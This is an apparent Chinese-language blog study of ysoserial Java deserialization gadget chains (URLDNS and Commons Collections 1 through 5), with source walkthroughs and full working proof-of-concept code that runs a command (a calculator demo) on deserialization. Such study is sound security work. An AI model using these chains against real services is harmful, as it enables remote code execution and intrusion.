Ysoserial Payloads Study
2024-10-14 08:32:30

URLDNS

URLDNS经常用于快速检测反序列化漏洞是否存在的链,因为使用的原生类没有jdk版本限制。

Gadget Chain

1
2
3
4
*     HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

通过利用链一点点分析首先是HashMap,反序列漏洞首先要执行readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

重点在于方法中最后的putVal方法中调用了hash方法
而在hash方法中又调用了keyhashCode方法,而keyHashMap中可以put写入的对象。
这时再看java.net.URL中的hashCode方法
在此方法中又调用了handler对象(URLStreamHandler类)的hashCode方法
进而执行了getHostAddress方法,此方法中触发了DNS请求

接下来回到HashMap#readObject
其中的key是通过readObject获得,那么在writeObject时必然会将key写入。
-w682
internalWriteEntries方法中,keyvalue是通过遍历tab遍历写入的,而tab则是HashMaptable的值,,table的内容是由HashMap#put传入的,在HashMap#put方法中也会对key调用hash方法,这时会产生一次dns请求。
检测反序列化漏洞存在,是要判断在反序列时是否进行了dns请求,所以在序列化对象时并不想进行一次dns请求从而误报。
回过来看URL#hashCode()
只要hashCode属性的内容不为-1就不会进入到handler.hashCode方法,也就不用触发dns请求,所以在HashMap#put之前修改下URL.hashCode的值不为-1即可。
hashCodeprivate需要在获取filed后设置setAccessibletrueput后需要修改为-1避免影响反序列化的流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
HashMap hashMap = new HashMap();
URL url = new URL("http://des.3z5yg9.tweb.email");
//反射修改hashCode
Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123);
//打印修改后的hashCode
System.out.println(url.hashCode());
hashMap.put(url,123);
//恢复hashCode
field.set(url,-1);

try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./ser.obj");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
outputStream.close();
//反序列化操作
FileInputStream inputStream = new FileInputStream("./ser.obj");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();

}catch (Exception e){
e.printStackTrace();
}

ysoserial的payload里使用了子类继承URLStreamHandler重写了openConnection以及getHostAddress方法在put时直接返回null
那么再反序列化时为什么还是可以进行DNS查询呢,答案在URL类中handler被关键字transient所修饰(在进行序列化的时候,此关键字修饰的成员变量,不进行序列化的操作),所以最终handler还是初始类型URLStreamHandler

Commons Collections

Commons Collections1

Gadget Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

先看利用链的后半部分

**InvokerTransformer**¡
-w1087
利用反射来执行某个类的方法
ConstantTransformer
-w734
此方法会将传入的对象原样返回

ChainedTransformer
-w843
这三个类结合到一起就可以执行任意命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class PayloadTest {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
//传入Runtime类
new ConstantTransformer(Runtime.class),
//相当于执行 Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class,new Object[]{"getRuntime",new Class[0]})
//返回的是一个Method对象
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
/*相当与执行
Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]).
getClass().getMethod("invoke", new Class[]{
Object.class, Object[].class}).invoke(Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]),new Object[]{null,new Object[0]})
最后返回一个Runtime实例
*/
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
//调用runtime实例调用exec方法执行命令
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);
System.out.println(Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]).getClass().getMethod("invoke", new Class[]{
Object.class, Object[].class}).invoke(Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]), null, new Object[0]));

}
}

因为是要在反序列化时触发所以需要找到一个序列化的点其中调用了transform方法,接下来就是链的前段部分,LazyMap.get()方法中factory调用了transform方法。

-w816
factory对象的类型为protected final没有被statictransient修饰,并且可由类初始化赋值,所以是可被序列化控制的。
-w541

-w743
因为此构造方法被protected所修饰,所以无法直接构建可通过反射或者LazyMap.decorate()方法来构建。

-w650

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
//传入Runtime类
new ConstantTransformer(Runtime.class),
/*
* 相当于执行 Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class,new Object[]{"getRuntime",new Class[0]})
* 通过反射来反射最后返回的是一个Method对象
*
*/
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
/*相当与执行
Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]).
getClass().getMethod("invoke", new Class[]{
Object.class, Object[].class}).invoke(Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]),new Object[]{null,new Object[0]})
最后返回一个Runtime实例
*/
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
//调用runtime实例调用exec方法执行命令
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
// System.out.println(Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]).getClass().getMethod("invoke", new Class[]{
// Object.class, Object[].class}).invoke(Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]), null, new Object[0]));
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map, chain);
lazymap.get(111);

接下来就是要寻找哪里使用了LazyMap.get(),这就到了CC1链的前段部分AnnotationInvocationHandler了,首先是invoke方法中调用了memberValues.get()

-w933
再看memberValues是由AnnotationInvocationHandler类的构造方法传入而来,而此类实现了InvocationHandler是一个Handler,在调用这个类的某个方法时可以触发代理类的invoke方法
-w900
AnnotationInvocationHandler.readObject方法中调用了memberValues.entrySet().iterator(),如果传入的memberValues是一个代理类就会触发memberValues对应Handlerinvoke方法(AnnotationInvocationHandler恰好是Handler)从而触发LazyMap.get()
-w1333

完整利用POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
//传入Runtime类
new ConstantTransformer(Runtime.class),
/*
* 相当于执行 Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class,new Object[]{"getRuntime",new Class[0]})
* 通过反射来反射最后返回的是一个Method对象
*
*/
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
/*相当与执行
Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]).
getClass().getMethod("invoke", new Class[]{
Object.class, Object[].class}).invoke(Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]),new Object[]{null,new Object[0]})
最后返回一个Runtime实例
*/
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
//调用runtime实例调用exec方法执行命令
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
// System.out.println(Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]).getClass().getMethod("invoke", new Class[]{
// Object.class, Object[].class}).invoke(Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class, "getRuntime", new Class[0]), null, new Object[0]));
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map, chain);
//动态代理 触发LazyMap.get
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler mapHandler = (InvocationHandler) handlerConstructor.newInstance(Override.class,lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},mapHandler);

//触发 AnnotationInvocationHandler.invoke
Constructor aihConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./cc1.ser"));
objectOutputStream.writeObject(handler);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./cc1.ser"));
objectInputStream.readObject();

}

这里创建了两个Handler

  • mapHandler
  • handler

流程是
AnnotationInvocationHandler.readObject->this.memberValues.entrySet()(proxyMap.entrySet())->mapHandler.invoke->AnnotationInvocationHandler.invoke此时memberValueslazymap->this.memberValues.get(var4)(即lazymap.get(va4)

Commons Collections2

Gadget Chain

1
2
3
4
5
6
7
8
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

根据利用链进行分析首先是PriorityQueue.readObject()
-w723对输入流进行了反序列化来恢复对象数据,然后进入到heapify方法。
-w638
此方法先判断了队列数量是否大于2((size >>> 1)-1 右移一位-1的结果要大于或等于0才满足循环条件)如果大于2则进入到siftDown方法
-w769
这里如果属性comparator不为null则进入到siftDownUsingComparator方法,在此方法中执行了comparator.compare方法,comparator可以通过实例化PriorityQueue对象时传入。接着进入了链的下一个TransformingComparator

-w957

此类存在一个compare方法而且方法中调用了transform方法,只要this.transoformer可控,那么结合cc1中的ChainedTransformer那么就可以执行命令了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{ Object.class, Object[].class}, new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
});
TransformingComparator comparator = new TransformingComparator((org.apache.commons.collections4.Transformer) chain);
PriorityQueue queue = new PriorityQueue();
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./ss2.ser"));
out.writeObject(queue);
out.close();
ObjectInputStream os = new ObjectInputStream(new FileInputStream("./ss2.ser"));
os.readObject();
os.close();

-w1418
在ysoserial中是怎么利用的呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
      final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

首先是将命令传入到createTemplatesImpl方法
-w1101
不满足条件则进入到createTemplatesImpl的另一个重载方法

-w1258
使用javassist创建了一个继承AbstractTranslet的类
-w1211
static语句块会在类初始化执行
-w967
这里的Foo.class以及_tfactory属性是可以不用设置的,_name是必须要设置的原因是在TemplatesImpl.newTransformer时会进入到getTransletInstance方法,此方法中会验证_name属性是否为null
-w733
最后返回一个TemplatesImpl对象,继续到链的InvokerTransformer
-w1058

这里创建了一个InvokerTransformer对象,methodName使用toString做填充没有其他作用。下面就是创建链的前半部分,通过反射将transformeriMethodName修改为newTransformer并将queue[0]的值修改为templates`。
-w1002

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
//创建执行命令template
ClassPool pool = ClassPool.getDefault();
//将一个ClassPath加到类搜索路径的末尾位置或插入到起始位置,避免搜索不到此class位置的情况
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//根据类路径名获取该类的CtClass对象
CtClass ctc =pool.makeClass("Evil");
//cmd
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";

//在staict块中添加cmd语句并加入到类的末尾
ctc.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
//设置类的名称
ctc.setName("Evil" + System.nanoTime());
//获取到父类对象
CtClass superC = pool.get(AbstractTranslet.class.getName());
//设置创建类的父类
ctc.setSuperclass(superC);
//写入class文;
byte[] classBytes = ctc.toBytecode();

TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field field = templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates,new byte[][]{classBytes});
field = templates.getClass().getDeclaredField("_name");
field.setAccessible(true);
field.set(templates,"name");

InvokerTransformer transformer = new InvokerTransformer("toString",new Class[0], new Object[0]);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
queue.add(1);
queue.add(2);

//反射修改方法为newTransformer
Field field1 = transformer.getClass().getDeclaredField("iMethodName");
field1.setAccessible(true);
field1.set(transformer,"newTransformer");

Field field2 = queue.getClass().getDeclaredField("queue");
field2.setAccessible(true);
Object[] queueArray = (Object[]) field2.get(queue);
queueArray[0] = templates;
queueArray[1] = 1;

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}


-w797

Commons Collections3

cc3像是cc1与cc2的结合,仅做了两个改动,分别是:

  • TrAXFilter
  • InstantiateTransformer

-w804
TrAXFilter:
-w858
TrAXFilter的构造方法中执行了templates.newTransformer的方法。
InstantiateTransformer:

-w1104
InstantiateTransformer类的最后创建了input的实例,在结合TrAXFilter类,设置input参数为TrAXFilter类,那么就可以在执行InstantiateTransformer.transform方法中创建TrAXFilter类的构造方法从而触发templates.newTransformer()方法。

Gadget:

cc3

Commons Collections4

cc4是cc2于cc3的结合,只是将InvokerTransformer替换为InstantiateTransformer其他没有什么变化。

-w1057

Commons Collections5

Gadget Chain

-w847

对比Commons Collections1,5只是变动了AnnotationInvocationHandler,引入了两个类:

  • BadAttributeValueExpException
  • TiedMapEntry

后半部分没有其他变化。

-w1265

在cc1中AnnotationInvocationHandler适用于触发LazyMap.get方法,那么cc5引入的这两个类是怎么触发的呢?
TiedMapEntry:
-w902
TiedMapEntry类中有一个Map类型的map属性,并且在方法getValue中执行了map.get,同时在类中的equalshashCodetoString方法中都调用了getValue方法。

-w967